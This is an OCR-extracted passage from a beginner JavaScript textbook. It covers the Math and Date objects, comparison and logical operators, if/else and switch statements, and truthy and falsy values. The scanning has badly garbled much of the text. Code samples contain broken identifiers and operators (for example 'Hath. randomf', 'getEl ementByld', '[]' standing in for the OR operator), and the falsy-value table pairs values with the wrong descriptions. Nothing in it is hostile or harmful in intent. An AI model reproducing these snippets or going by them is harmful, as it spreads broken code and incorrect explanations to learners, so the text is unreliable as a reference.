number in parentheses to 
indicate the total number of 
digits the number should have, 
it will also return the number 
as a string, (It may return a 
scientific notation if there are 
more digits than the specified 
number of positions.) 
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GLOBAL OBJECTS: 
MATH OBJECT 


The Math object has properties and methods 
for mathematicai constants and functions. 


PROPERTY 

DESCRIPTION 

Math. PI 

Returns pi (approximately 3.14159265359) 

METHOD 

DESCRIPTION 

Math. round () 

Rounds number to the nearest integer 

Math.sqrt(n) 

Returns square root of positive number, e.g„ Math.sqrt (9) returns 3 

Math. ceil () 

Rounds number up to the nearest integer 


Math.floorQ Rounds number down to the nearest integer 


Math . random ( ) Generates a random number between 0 (inclusive) and 1 (not inclusive) 


Because it is known as a global 
object, you can just use the 
name of the Math object followed 
by the property or method you 
want to access. 


Typically you will then store the 
resulting number in a variable. 
This object also has many 
trigonometric functions such as 
s i n ( ) r cos(), and tan(). 


The trigonometric functions 
return angles in radians which 
can then be converted into 
degrees if you divide the number 
by (pi/ 180), 
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MATH OBJECT TO CREATE 
RANDOM NUMBERS 


This example is designed to 
generate a random whole 
number between 1 and 10, 

The Math objects randomO 
method generates a random 
number between 0 and 1 (with 
many decimal places). 


JAVASCRIPT 


To get a random whole number 
between 1 and 10, you need to 
multiply the randomly generated 
number by 10. 

This number will still have many 
decimal places, so you can round 
it down to the nearest integer. 


The f l oor() method is used 
to specifically round a number 
down (rather than up or down). 

This will give you a value 
between 0 and 9, You then add 
1 to make it a number between 1 
and 10. 

cCB/j s /mat Jvob j ect . j s 


var randomNum = Math.fl oor( (Hath. randomf) * 10) + 1); 
var el = document. getEl ementByld( ' info 1 ) ; 

el . i nnerHTHL = l <h2>random number</h2><p>' + randomNum + '</p>'; 



If you used the round () method 
insteadofthe floorf) method, 
the numbers 1 and 10 would 
be chosen around half of the 
number of times that 2-9 would 
be chosen. 

Anything between 1.5 and 1.999 
would get rounded up to 2, and 
anything between 9 and 9,5 
would be rounded down to 9. 

Using the floor () method 
ensures that the number is 
always rounded down to the 
nearest integer, and you can 
then add 1 to ensure the number 
is between 1 and 10, 
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CREATING AN INSTANCE 
OF THE DATE OBJECT 


In order to work with dates, you create an instance of the Date object. 
You can then specify the time and date that you want it to represent. 


To create a Date object, use the Date() object By default, when you create a Date object it will hold 

constructor. The syntax is the same for creating any today's date and the current time. If you want it to 

object with a constructor function (see plOS). store another date, you must explicitly specify the 

You can use it to create more than one Date object. date and time you want it to hold. 


VARIABLE HAME NEW KEYWORD 


var today = new Date () ; 


* ASSIGNMENT 1 

VARIABLE DECLARATION OPERATOR DATE OBJECT CONSTRUCTOR 


You can think of the above as creating a variable 
called today that holds a number. This is because 
in JavaScript, dates are stored as a number: 
specifically the number of milliseconds since 
midnight on January 1, 1970. 

Note that the current date / time is determined by 
the computer's dock. If the user is in a different 
time zone than you, their day may start earlier or 
later than yours. Also, if the internal clock on their 
computer has the wrong date or time, the Date 
object could reflect this by holding the wrong date. 


The Date() object constructor tells the JavaScript 
interpreter that this variable is a date, and this in turn 
allows you to use the Date object's methods to set 
and retrieve dates and times from this Date object 
{see right-hand page for a list of methods). 

You can set the date and/or time using any of the 
following formats (or methods shown on the right): 

var dob - new Date(1996, 11, 26, 15, 45, 55); 
var dob = new Date ('Dec 26, 1996 15:45:55’); 
var dob = new Date (1996, 11, 26); 


136) FUNCTIONS, METHODS & OBJECTS 


GLOBAL OBJECTS: 

DATE OBJECT (AND TIME) 


Once you have created a Date object, the following methods let you set 
and retrieve the time and date that it represents. 


METHOD DESCRIPTION 


getDate() 

setDateO 

Returns / sets the day of the month (1-31) 

getDay() 


Returns the day of the week (0-6) 

getFullYearQ 

setFullYearQ 

Returns / sets the year (4 digits) 

getHours{) 

set Hours {) 

Returns / sets the hour (0-23) 

getMillisecondsQ 

setMi 1 1 i seconds () 

Returns / sets the milliseconds (0-999) 

getMinutes() 

setMinutesQ 

Returns / sets the minutes (0-59) 

getMonth() 

setMonthQ 

Returns / sets the month (0-11) 

get$econds{) 

setSecondsQ 

Returns / sets the seconds (0-59) 

getlimeO 

setTime() 

Number of mi tl [seconds since January 1, 1970, 
00:00:00 UTC (Coordinated Universai Time) 
and a negative number for any time before 

getTImezoneOffsetO 


Returns time zone offset in mins for locale 

toDateString () 


Returns "date" as a human-readable string 


toT i meStr i ng ( ) Returns "time" as a human-readable string 


toStri ng () Returns a string representing the specified date 


The toDateString () method 
will display the date in the 
following format: 

Wed Apr 16 1975. 

If you want to display the date tn 
another way, you can construct 
a different date format using the 
individual methods listed above 
to represent the individual parts: 
day, date, month, year. 


toTimeStringO shows the time. 
Several programming languages 
specify dates in milliseconds 
since midnight on Jan 1, 1970. 
This is known as Unix time. 

A visitor’s location may affect 
time zones and language spoken. 
Programmers use the term 
locale to refer to this kind of 
location-based information. 


The Date object does not store 
the names of days or months as 
they vary between languages. 

Instead, it uses a number from 
0 to 6 for the days of the week 
and 0 to 11 for the months. 

To show their names, you need 
to create an array to hold them 
(see p143). 
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CREATING A DATE OBJECT 


1. In this example, a new Date 
object is created using the 
Date() object constructor 
It is called today* 


If you do not specify a date 
when creating a Date object, it 
will contain the date and time 
when the JavaScript interpreter 
encounters that line of code. 


Once you have an instance of the 
Date object (holding the current 
date and time), you can use any 
of its properties or methods. 


JAVASCRIPT 


0 var today = new Date{); 

@ var year = today. getFull YearQ ; 



var el = document. getEl ementByldC footer' ); 
el.innerHTML = '<p>Copyright &copy;‘ + year 


+ 


' </p> ' ; 


c03/js/date-object.js 



2. In this example, you can see 
that getFul 1 Year () is used to 
return the year of the date being 
stored in the Date object. 

3* In this case, it is being used 
to write the current year in a 
copyright statement. 
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WORKING WITH 
DATES & TIMES 


To specify a date and time, you 
can use this format: 

YYYY, m t DD S HH> MM, SS 
1996, 04* 16, 15, 45, 55 

This represents 3:45pm and 55 
seconds on April 16, 1996, 


The order and syntax for this is: 
Year four digits 

Month 0-11 (Jan is 0) 

Day 1-31 

Hour 0-23 

Minutes 0-59 

Seconds 0-59 

Milliseconds 0-999 


Another way to format the date 
and time is like this: 

MMM 00, YYYY HH:MM:SS 
Apr 16, 1996 15:45:55 

You can omit the time portion if 
you do not need it. 


JAVASCRIPT 


©- 


var today = new DateQ; 

var year = today .getFul !Year() ; 

var est = new Datef'Apr 16, 1996 15:45:55'); 

var difference = today. getTime() - est.getTimeQ ; 

difference = (difference / 31556900000); 


c03/j s/date-object-di fference. js 


var elMsg = document. getEl ementBy Id (' message' ) ; 

elMsg .textContent = Math.fl oor(di fference) + 1 years of online travel advice'; 


RESULT 



1. In this example, you can see a 
date being set in the past. 

2. If you try to find the difference 
between two dates, you will end 
up with a result in milliseconds. 

3. To get the difference in 
days/weeks/years, you divide 
this number by the number of 
milliseconds in a day/ week/year. 

Here the number is divided by 
31 , 556 , 900,000 - the number 
of milliseconds in a year (that is 
not a leap year). 
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latest hotel offer 
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EXAMPLE 

FUNCTIONS, 
METHODS & OBJECTS 

This example is split into two parts, The first 
shows you the details about the hotel, room 
rate, and offer rate, The second part indicates 
when the offer expires. 

Alf of the code is placed inside an immediately invoked function 
expression (I1FE) to ensure any variable names used in the script do not 
clash with variable names used En other scripts. 

The first part of the script creates a hotel object; it has three properties 
(the hotel name, room rate, and percentage discount being offered), plus 
a method to calculate the offer price which is shown to the user. 

The details of the discount are written into the page using information 
from this hotel object. To ensure that the discounted rate is shown with 
two decimal places (like most prices are shown) the .toFixedf) method 
of the Number object is used. 

The second part of the script shows that the offer will expire in seven 
days, St does this using a function called offerExpi res () . The date 
currently set on the user's computer is passed as an argument to the 
offerExpi res () function so that it can calculate when the offer ends. 

Inside the function, a new Date object is created; and seven days is 
added to today's date. The Date object represents the days and months 
as numbers (starting at 0) so - to show the name of the day and month - 
two arrays are created storing all possible day and month names. When 
the message is written, it retrieves the appropriate day/month from 
those arrays. 

The message to show the expiry date is built up inside a variable called 
expi ryMsg. The code that calls the offerExpi res ( ) function and 
displays the message is at the end of the script. It selects the element 
where the message should appear and updates its content using the 
innerHTML property, which you will meet in Chapter 5. 
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EXAMPLE 

FUNCTIONS, METHODS & OBJECTS 


c03/js/exarnple Js 


JAVASCRIPT 


/* The script is placed inside an immediately invoked function expression 
which helps protect the scope of variables */ 

'(function() { 


// PART ONE: CREATE HOTEL OBJECT AND WRITE OUT THE OFFER DETAILS 

// Create a hotel object using object literal syntax 
var hotel = { 
name: 'Park 1 , 

roomRate: 240, // Amount in dollars 
discount: 15, // Percentage discount 
offerPrice: functionQ { 

var offerRate = this. roomRate * {(100 - this. discount) / 100); 
return offerRate; 

} 

} 

// Write out the hotel name, standard rate, and the special rate 

// Declare variables 

// Get elements 


// Write hotel name 
// Write room rate 
// Write offer price 


var hotel Name, roomRate, speci al Rate; 

hotel Name = document. getEl ementBy Id ('hotel Name' ); 
roomRate = document. getEl ementBy Id ( ' roomRate' ); 
specialRate = document. getElement8yId( 'special Rate’ ) ; 

hotel Name. text Con tent = hotel. name; 

roomRate. textContent = + hotel .roomRate. toFi xed (2) ; 

special Rate. textContent = '$' + hotel .offerPricef) ; 

If you read the comments in the code, you can see how this example works. 


142) FUNCTIONS, METHODS & OBJECTS 



EXAMPLE 

FUNCTIONS, METHODS & OBJECTS 


JAVASCRIPT 


c03/js/example. js 


// PART TWO: CALCULATE AND WRITE OUT THE EXPIRY DETAILS FOR THE OFFER 
var expiryMsg; // Message displayed to users 
var today; // Today's date 

var el Ends; // The element that shows the message about the offer ending 


function of ferExpi res (today) { 

// Declare variables within the function for local scope 

var weekFromToday, day, date, month, year, dayNames, monthNames; 

// Add 7 days time (added in milliseconds) 

weekFromToday = new Date(today .getTimeQ + 7 * 24 * 60 * 60 * 1000); 

// Create arrays to hold the names of days / months 

dayNames = [‘Sunday 1 , 'Monday 1 , 'Tuesday', 'Wednesday', 'Thursday', 

© 'Friday', 'Saturday']; 

monthNames = ['January', 'February', 'March', 'April', 'May', 'June', 
© 'July 1 , 'August 1 , 'September', 'October', 'November', 'December']; 

// Collect the parts of the date to show on the page 

day = dayNames [weekFromToday. get Day ()] ; 

date = weekFromToday .getDate() ; 

month = monthNames [weekFromToday .getMonth{)] ; 

year = weekFromToday .getFul lYearQ ; 

// Create the message 
expiryMsg = 'Offer expires next '; 

expiryMsg += day + ' <br />(' + date + ’ 1 + month + ' ' + year + ')'; 
return expiryMsg; 

} 


today = new Date(); // Put today's date in variable 

el Ends = document. getEl ementById( 'offerEnds ') ; // Get the offerEnds element 
el Ends. innerHTML = offerExpi res (today) ; // Add the expiry message 


// Finish the immediately invoked function expression 

}()>; 


© This symbol indicates that 
the code is wrapping from the 
previous line and should not 
contain line breaks. 


This is a good demonstration of several concepts relating to date, but if 
the user has the wrong date on their computer (perhaps their clock is set 
incorrectly), it will not show a date seven days from now - it will show a 
date seven days from the time the computer thinks it is. 
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SUMMARY 

FUNCTIONS, METHODS & OBJECTS 



Functions allow you to group a set of related 
statements together that represent a single task 

Functions can take parameters (information required 
to do their job) and may return a value. 

An object is a series of variables and functions that 
represent something from the world around you. 

In an object, variables are known as properties of the 
object; functions are known as methods of the object. 


Web browsers implement objects that represent both 
the browser window and the document loaded into the 
browser window. 


; Ep • 


JavaScript also has several built-in objects such as 
String, Number, Math, and Date. Their properties and 
methods offer functionality that help you write scripts. 

Arrays and objects can be used to create complex data 
sets (and both can contain the other). 
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4 

DECISIONS 
& LOOPS 



Looking at a flowchart (for all but the most basic scripts), 
the code can take more than one path, which means the 
browser runs different code in different situations, In this 
chapter, you will learn how to create and control the flow of 
data in your scripts to handle different situations. 

Scripts often need to behave differently depending upon how the user interacts with the web 
page and/or the browser window itself. To determine which path to take, programmers often 
rely upon the following three concepts; 


EVALUATIONS 

You can analyze values in 
your scripts to determine 
whether or note they 
match expected results. 


DECISIONS 
Using the results of 
evaluations, you can 
decide which path your 
script should go down. 


LOOPS 

There are also many 
occasions where you will 
want to perform the same 
set of steps repeatedly. 


DECfSIONS St LOOPS 



n* PEEK 

AT THtZOO 
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DECISION MAKING 


There are often several places in a script where decisions are made that 
determine which lines of code should be run next. Flowcharts can help 
you plan for these occasions. 

In a flowchart, the diamond shape represents a (n order to determine which path to take, you set 

point where a decision must be made and the code a condition. For example, you can check that one 

can take one of two different paths. Each path is value is equal to another, greater than another, or 

made up of a different set of tasks, which means less than another. If the condition returns true, you 

you have to write different code for each situation. take one path; if it is false, you take another path. 



In the same way that there are operators to do basic Examples of comparison operators include the 
math, or to join two strings, there are comparison greater than (>) and less than (<) symbols, and 

operators that allow you to compare values and test double equals sign (=-) which checks whether two 

whether a condition is met or not values are the same. 
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EVALUATING CONDITIONS & 
CONDITIONAL STATEMENTS 


There are two components to a decision: 

1: An expression is evaluated, which returns a value 

2: A conditional statement says what to do in a given situation 


EVALUATION OF A CONDITION 

In order to make a decision, your code checks 
the current status of the script This is commonly 
done by comparing two values using a comparison 
operator which returns a value of true or fal se. 


CONDITIONAL STATEMENTS 

A conditional statement is based on a concept of 
if/then/else; if a condition is met then your code 
executes one or more statements, efse your code 
does something different (or just skips the step). 


CONDITION 

i 1 1 

if (score > 50) { 
document. write( 1 You passed I 
} else { 

document.wri te( 'Try again.. 

} 


WHAT THIS IS SAYING: 

if the condition returns true 

execute the statements between 
* the first set of curly brackets 

otherwise 

i \ # execute the statements between 
/ s the second set of curly brackets 


(You will also meet truthy and 
falsy values on p167. They are 
treated as if true or false.) 


You can also multiple conditions by combinrngtwo 
or more comparison operators. For example, you 
can check whether two conditions are both met, 
or if just one of several conditions is met. 


Over the next few pages, you will meet several 
permutations of the i f . , . statements, and also a 
statement called a switch statement. Collectively, 
these are known as conditional statements. 
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COMPARISON OPERATORS: 
EVALUATING CONDITIONS 


You can evaluate a situation by comparing one value in the script to what 
you expect it might be. The result will be a Boolean: true or fal se. 



is EQUAL TO 

This operator compares two values (numbers, 
strings, or Booleans) to see if they are the same. 

'Hello 1 == 'Goodbye' returns false 
because they are not the same string. 

'Hello 1 == J Hello' returns true 
because they are the same string. 

It is usually preferable to use the strict method: 



STRICT EQUAL TO 

This operator compares two values to check that 
both the data type and value are the same. 

*3' 3 returns false 

because they are not the same data type or value. 

'3 1 =■* *3 1 returns true 

because they are the same data type and value. 


i = 

IS NOT EQUAL TO 

This operator compares two values (numbers, 
strings, or Booleans) to see if they are not the same. 

'Hello' !- 'Goodbye 1 returns true 
because they are not the same string. 

'Hello 1 I st ’Hello 1 returns false 
because they are the same string. 

It is usually preferable to use the strict method: 


STRICT NOT EQUAL TO 

This operator compares two values to check that 
both the data type and value are not the same. 

'3* I— 3 returns true 

because they are not the same data type or value. 

r 3 T "3 * returns false 

because they are the same data type and value. 
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Programmers refer to the testing or checking of a 
condition as evaluating the condition. Conditions 
can be much more complex than those shown here, 
but they usually result in a value of true or fal se. 


There are a couple of notable exceptions: 
i) Every value can be treated as true or false even if it 
is not a Boolean true or fal se value (see p!67). 
iO In short-circuit evaluation, a condition might not 
need to run (see p169). 


> 

GREATER THAN 

This operator checks if the number on the left is 
greater than the number on the right. 

4 > 3 returns true 
3 > 4 returns fal se 


> = 

GREATER THAN OR EQUAL TO 

This operator checks if the number on the left is 
greater than or equat to the number on the right. 

4 >= 3 returns true 
3 > B 4 returns fal se 
3 >= 3 returns true 


< 

LESS THAN 

This operator checks if the number on the left is /ess 
than the number on the right. 

4 < 3 returns false 
3 < 4 returns true 


< = 

LESS THAN OR EQUAL TO 

This operator checks if the number on the left is /ess 
than or equal to the number on the right. 

4 <- 3 returns false 
3 <= 4 returns true 
3 <- 3 returns true 
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STRUCTURING 
COMPARISON OPERATORS 


In any condition, there is usually one operator and two operands. 
The operands are placed on each side of the operator. They can be 
values or variables. You often see expressions enclosed in brackets. 


ENCLOSING BRACKETS 

, 1 , 

(score >= pass) 


OPERAND COMPARISON OPERAND 
OPERATOR 


If you remember back to Chapter 2, this is an 
example of an expression because the condition 
resolves into a single value: in this case it will be 
either true or false. 


The enclosing brackets are important when the 
expression is used as a condition in a comparison 
operator But when you are assigning a value to a 
variable, they are not needed (see right-hand page). 


DECISIONS & LOOPS 


USING 

COMPARISON OPERATORS 


JAVASCRIPT 


cG4/js/compari son-operator. j$ 


var pass = 50; // Pass mark 

var score = 90; // Score 


At the most basic level you can 
evaluate two variables using a 
comparison operator to return a 
true or false value. 


// Check if the user has passed 
var hasPassed = score >= pass; 

// Write the message into the page 

var el ~ document . getEl ementBy!d( 'answer 1 ) ; 

el .textContenl = 'Level passed: * + hasPassed; 



fn this example, a user is taking a 
test, and the script tells the user 
whether they have passed this 
round of the test. 

The example starts by setting 
two variables: 

1. pass to hold the pass mark 

2. score to hold the users score 

To see if the user has passed, 
a comparison operator checks 
whether score is greater than or 
equal to pass. The result will be 
true or fal se, and is stored in 
a variable called hasPassed. On 
the next line, the result is written 
to the screen. 

The last two lines select the 
element whose i d attribute 
has a value of answer, and then 
updates its contents, You will 
learn more about this technique 
in the next chapter. 
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USING EXPRESSIONS WITH 
COMPARISON OPERATORS 


The operand does not have to be a single value or variable name. 

An operand can be an expression (because each expression evaluates 
into a single value). 


ENCLOSING BRACKETS 


((scorel + score2) > (highScorel + highScore2)) 


OPERAND COMPARISON 

OPERATOR 


OPERAND 
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COMPARING 
TWO EXPRESSIONS 


tn this example, there are two 
rounds to the test and the 
code will check if the user has 
achieved a new high score, 
beating the previous record. 


The script starts by storing the 
user's scores for each round 
in variables. Then the highest 
scores for each round are stored 
in two more variables. 


The comparison operator checks 
if the user's totai score is greater 
than the highest score for the 
test and stores the result in a 
variable called compari son. 


JAVASCRIPT 


cG4/j s/compari son-operator-cont i nued * j s 


var s Corel = 90; 
var score2 = 95; 
var highScorel - 75; 
var highScore2 = 95; 


// Round 1 score 
// Round 2 score 
// Round 1 high score 
// Round 2 high score 


// Check if scores are higher than current high scores 

var comparison = (score! + score2) > (highScorel + highScore2); 


// Write the message into the page 

var el = document .get El ementByldf 1 answer ‘ ) ; 

el .textContent = ’New high score: 1 + comparison; 



In the comparison operator, the 
operand on the left calculates 
the user's totai score, The 
operand on the right adds 
together the highest scores for 
each round. The result ts then 
added to the page. 

When you assign the result of 
the comparison to a variable, 
you do not strictly need the 
containing parentheses (shown 
in white on the left-hand page). 

Some programmers use them 
anyway to indicate that the code 
evaluates into a single value. 
Others only use containing 
parentheses when they form 
part of a condition. 
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LOGICAL OPERATORS 


Comparison operators usually return single values of true or fal se. 
Logical operators allow you to compare the results of more than one 
comparison operator. 


Do expression 1 and expression 2 both evaluate to true? 
false 


EXPRESSION 3 


((5 < 2 ) && (2 >= 3 )) 


1 

EXPRESSION 1 

Is five less than two? 
false 


LOGICAL 

OPERATOR 


, 

EXPRESSION 2 


Is two greater than or equal to three? 
false 


In this one line of code are three expressions, each 
of which will resolve to the value true or fal se. 

The expressions on the left and the right both use 
comparison operators, and both return fal se. 


The third expression uses a logical operator (rather 
than a comparison operator). The logical AND 
operator checks to see whether both expressions on 
either side of it return true (tn this case they do not, 
so it evaluates to fal se). 
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&& I ! 

LOGICAL AND LOGICAL OR LOGICAL NOT 


This operator tests more than 
one condition. 


This operator tests at least one 
condition. 


This operator takes a single 
Boolean value and inverts it. 


((2 < S) && (3 >= 2)) 
returns true 

if both expressions evaluate to 
true then the expression returns 
true. If just one of these returns 
f al se r then the expression will 
return false. 


({2 < 5) 1| (2 < I)) 
returns true 

If either expression evaluates 
to true, then the expression 
returns true. If both return 
false, then the expression will 
return false. 


I<2 < 1) 

returns true 

This reverses the state of an 
expression. If it was fal se 
(without the ! before it) it would 
return true. If the statement 
was true, it would return fal se. 


true && true returns 
true && false returns 
false && true returns 
false && false returns 


true 

true 

ii 

fal se 

true 

ii 

false 

false 

ii 

false 

fal se 

ii 


true returns true 
false returns true 
true returns true 
false returns false 


'true returns false 
ifalse returns true 


SHORT-CIRCUIT EVALUATION 


Logical expressions are 
evaluated left to right. 

If the first condition can provide 
enough information to get the 
answer, then there is no need to 
evaluate the second condition. 


false && anything 

A 

it has found a fal se 

There is no point continuing to 
determine the other result. 
They cannot both be true. 


true || anything 

A 

it has found a true 

There is no point continuing 
because at least one of the 
values is true. 
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USING LOGICAL AND 


In this example, a math test 
has two rounds. For each round 
there are two variables: one 
holds the user's score for that 
round; the other holds the pass 
mark for that round. 


c04/js/logical-and.js 


var scorel = 8; 

// 

Round 

var $core2 = 8; 

// 

Round 

var passl = 6; 

// 

Round 

var pass2 = 6; 

// 

Round 


The logical AND is used to see 
if the user s score is greater 
than or equal to the pass mark 
in both of the rounds of the test. 
The result is stored in a variable 
called passBoth* 


1 score 

2 score 

1 pass mark 

2 pass mark 


The example finishes off by 
letting the user know whether 
or not they have passed both 
rounds. 


JAVASCRIPT 


// Check whether user passed both rounds, store result in variable 
var passBoth = (score! > s pass!) && (score2 >= pas$2); 

// Create message 

var msg = 'Both rounds passed: 1 + passBoth; 


// Write the message into the page 

var el = document. get El ementBy Id ( 1 answer 1 ) ; 

el . textContent = msg; 


it is rare that you would ever 
write the Boolean result into the 
page (like we are doing here). 

As you will see later in the 
chapter, It is more likely that you 
would check a condition, and if it 
is true, run other statements. 
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USING LOGICAL OR 
& LOGICAL NOT 


Here is the same test but this 
time using the logical OR operator 
to find out if the user has passed 
at least one of the two rounds, 
if they pass just one round, they 
do not need to retake the test. 


JAVASCRIPT 


Look at the numbers stored in 
the four variables at the start 
of the example. The user has 
passed both rounds, so the 
mi nPass variable will hold the 
Boolean value of true. 


Next, the message is stored 
in a variable called msg. At the 
end of the message, the logical 
NOT will invert the result of the 
Boolean variable so it is f al se. 

It is then written into the page. 

c04/js/logi cal -or-logical -not. js 


var scorel = 8; 
var score2 - 8; 
var passl = 6; 
var pass2 = 6; 


// Round 1 score 
// Round 2 score 
// Round 1 pass mark 
// Round 2 pass mark 


// Check whether user passed one of the two rounds, store result in variable 
var mi nPass = ((scorel >= passl) [] (score2 >~ pass2)); 


// Create message 

var msg s 'Resit required: 1 + I (mi nPass) ; 


// Write the message into the page 

var el = document, getEl ementById( 'answer' ) ; 

el .textContent = msg; 
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IF STATEMENTS 


The i f statement evaluates (or checks) a condition. If the condition 
evaluates to true, any statements in the subsequent code block are 
executed. 


OPENING 

KEYWORD CONDITION CURLY BRACE 

I - * - I | 1 i | 

if (score >= 50) { 
congratul ate() ; 

I T ' 

J CODE TO EXECUTE IF VALUE IS TRUE 

I 

CLOSING 
CURLY BRACE 


If the condition evaluates to true, the following 
code block (the code in the next set of curly braces) 
is executed. 


If the condition resolves to fal se, the statements m 
that code block are not run. (The script continues to 
run from the end of the next code block.) 
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USING IF STATEMENTS 


JAVASCRIPT 


c04/j s/1 f-statement. js 


= 75; 

// Score 


// Message 

>= 50) { 

//If score 


var msg; 


msg = 'Congratulations!'; 

msg += ' Proceed to the next round. 


var el = document. get El ementById( ' answer ') ; 
el .textContent = msg; 


RESULT 



In this example, the i f statement 
is checking if the value currently 
held in a variable called score is 
50 or more. 

In this case, the statement 
evaluates to true (because the 
score is 75, which is greater than 
50). Therefore, the contents 
of the statements within the 
subsequent code block are 
run, creating a message that 
congratulates the user and tells 
them to proceed. 

After the code block, the 
message is written to the page. 

If the value of the score variable 
had been less than 50, the 
statements in the code block 
would not have run, and the code 
would have continued on to the 
next tine after the code block. 


JAVASCRIPT 


var score = 75; 
var msg = 1 1 ; 


c04/js/f f- statement- wi th-function.js 


// Score 
// Message 


"function congratul ate() { 

( 2 )- msg += 'Congratulations! 

_} 


if (score >- 50) { // If score is 50 or more 

(?) congratul ate() ; 

@ msg += ‘Proceed to the next round,'; 

1 

var el = document, getElementBy Id { 'answer 1 ) ; 
el .innerHTML = msg; 


On the left is an alternative 
version of the same example 
that demonstrates how lines of 
code do not always run in the 
order you expect them to. tf the 
condition is met then: 

1. The first statement in the code 
block calls the congratulateQ 
function. 

2. The code within the 
congratul ate() function runs. 

3. The second line within the i f 
statement's code block runs. 
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IF...ELSE STATEMENTS 


The if .. .else statement checks a condition. 

If it resolves to true the first code block is executed. 

If the condition resolves to fal se the second code block is run instead. 


if (score >= 50) { 
congratul ate() ; 

} ' T J 

J CODE TO EXECUTE IF VALUE IS TRUE 

else { 

encourage() ; 

I ' T J 


CONDITIONAL STATEMENT 


CONDITION 


IF CODE BLOCK 


% ELSE CODE BLOCK 
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USING IF.. .ELSE 
STATEMENTS 


JAVASCRIPT 


c04/j 5 / i f-el se-sta tement , j s 


var pass = 50; 
var score - 75; 
var msg; 


// Pass mark 
// Current score 
// Message 


// Select message to write based on score 
if (score >= pass) { 
msg - ’Congratulations, you passed!'; 

} else { 

msg = 'have another go!'; 

} 


var el = document .get ElementByldf 1 answer ') ; 
el , textContent = msg; 



Here you can see that an 

if . * .else statement allows you 

to provide two sets of code: 

1. one set if the condition 
evaluates to true 

2, another set if the condition is 
false 

in this test, there are two 
possible outcomes: a user can 
either get a score equal to or 
greater than the pass mark 
(which means they pass), or 
they can score less than the pass 
mark (which means they fail). 
One response ts required for 
each eventuality. The response is 
then written to the page. 

Note that the statements inside 
an i f statement should be 
followed by a semicolon, but 
there is no need to ptace one 
after the closing curly brace of 
the code blocks. 


An i f statement only runs a set of statements if the 
condition is true: 


An i f , . *el se statement runs one set of code if the 
condition is true or a different set if it is fal se: 


Is score >= 50? 


Is score >= 50? 




I 

You passed! 
) 


i 

Try again. 

i 


9 


continue script... 


~Y~ 


You passed! 

J 


continue script... 
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SWITCH STATEMENTS 


© 


A swi tch statement starts with a 
variable called the switch value. 
Each case indicates a possible 
value for this variable and the 
code that should run if the 
variable matches that value. 


Here, the variable named level is the switch value. 
If the value of the 1 eve! variable is the string One, 
then the code for the first case is executed, ff it is 
Two, the second case is executed, ff it is Three, the 
third case is executed. If it is none of these, the code 
for the default case is executed. 

The entire statement lives in one code block (set 
of curly braces), and a colon separates the option 
from the statements that are to be run if the case 
matches the switch value. 

At the end of each case is the break keyword. It tells 
the JavaScript interpreter that it has finished with 
this switch statement and to proceed to run any 
subsequent code that appears after it 


switch (level) { 


case 'One': 
ti tl e = ' Level 1 1 ; 
break; 


case 'Two 1 : 
title = 1 Level 2' ; 
break; 


case 'Three 1 : 
title = 'Level 3'; 
break; 


default: 
title - 'Test' ; 
break; 


} 


IF... ELSE 

• There is no need to provide an el se 
option, (You can just use an if 
statement,) 

• With a series of i f statements, they are 
all checked even if a match has been found 
(so if performs more slowly than switch). 


VS. 


SWITCH 

• You have a defaul t option that is run if 
none of the cases match, 

• If a match is found, that code is run; then 
the break statement stops the rest of 
the switch statement running (providing 
better performance than multiple i f 
statements). 
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USING SWITCH 
STATEMENTS 


JAVASCRIPT 


c04/ js/swi tch-s tatesnent , j s 


var msg; // Message 

var level = 2; // Level 

// Determine message based on level 
switch {level} { 
case 1: 

msg = 'Good luck on the first test 1 ; 
break; 

case 2: 

msg “ 'Second of three - keep going!'; 

break; 


case 3: 

msg = 'Final round, almost there!'; 
break; 


In this example, the purpose 
of the swi tch statement is to 
present the user with a different 
message depending on which 
level they are at. The message is 
stored in a variable called msg. 

The variable called 1 evel 
contains a number indicating 
which level the user is on. This 
Is then used as the switch value. 
(The switch value could also be 
an expression.) 

In the following code block 
(inside the curly braces), there 
are three options for what the 
value of the 1 evel variable might 
be: the numbers l r 2, or 3. 


defaul t : 

msg = 'Good luck!'; 
break; 

} 


tf the value of the 1 evel variable 
is the number 1, the value of the 
msg variable is set to l Good luck 
on the first test'. 


var el = document .getEl ementBy!d( ' answer 1 } ; 
eKtextContent - msg; 


if the value is 2 t it will read: 
'Second of three - keep going]' 



If the value is 3, the message 
will read: Final round, almost 
there! 1 

[f no match is found, then the 
value of the msg variable is set to 
Good luck! 1 

Each case ends with the break 
keyword which will tell the 
JavaScript interpreter to skip 
the rest of this code block and 
continue onto the next. 
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TYPE COERCION 
& WEAK TYPING 


If you use a data type JavaScript did not expect, 
it tries to make sense of the operation rather 
than report an error. 


JavaScript can convert data 
types behind the scenes to 
complete an operation. This is 
known as type coercion. For 
example, a string 1 1 1 could be 
converted to a number 1 in the 
following expression; {' 1 ' > OX 
As a result, the above expression 
would evaluate to true* 


DATATYPE PURPOSE 

string Text 

number Number 


Boolean true or false 


null Empty value 

undefined Variable has been declared but not yet assigned a value 


JavaScript is said to use weak NaM is a value that is counted as a number. You may see it when a 

typing because the data type number is expected, but is not returned, e.g., ( ' ten ' /2) results in N aN. 

for a value can change, Some 

other languages require that you 

specify what data type 

each variable will be. They are 

said to use strong typing. 

Type coercion can lead to 
unexpected values in your 
code (and also cause errors). 

Therefore, when checking if two 
values are equal, it is considered 
better to use strict equals 
operators and !*■ 
rather than == and != as these 
strict operators check that the 
value and data types match. 
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TRUTHY & FALSY 

VALUES 


Due to type coercion, every value in JavaScript 
can be treated as if it were true or false; and 
this has some interesting side effects. 


FALSY VALUES 


VALUE 

DESCRIPTION 

var highScore = false; 

The traditional Boolean fal se 

var highScore = 0; 

The number zero 

var highScore = 1 1 ; 

MaN (Not a Num^gr)(y' 

var highScore = lO/'score 1 ; 

Empty value 4^ — 

var highScore; 

A variable with no value assigned to it 

Almost everything else evaluates to truthy... 

TRUTHY VALUES 


VALUE 

DESCRIPTION 

var highScore - true; 

The traditional Boolean true 

var highScore ® 1; 

Numbers other than zero 

var highScore = 'carrot 1 ; 

Strings with content 

var highScore = 10/5; 

Number calculations 

var highScore = 'true'; 

true written as a string 

var highScore - '0 1 ; 

Zero written as a string 

var highScore = 'false'; 

fal se written as a string 


Falsy values are treated as if they 
are fa? se. The table to the left 
shows a highScore variable with 
a series of values, all of which 
are falsy. 

Falsy values can also be treated 
as the number 0. 

Truthy values are treated as if 
they are true. Almost everything 
that is not In the falsy table can 
be treated as if it were true. 

Truthy values can also be treated 
as the number 1. 

In addition, the presence of an 
object or an array is usually 
considered truthy, too. This is 
commonly used when checking 
for the presence of an element 
in a page. 

The next page will explain more 
about why these concepts are 
important. 
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CHECKING EQUALITY 
& EXISTENCE 


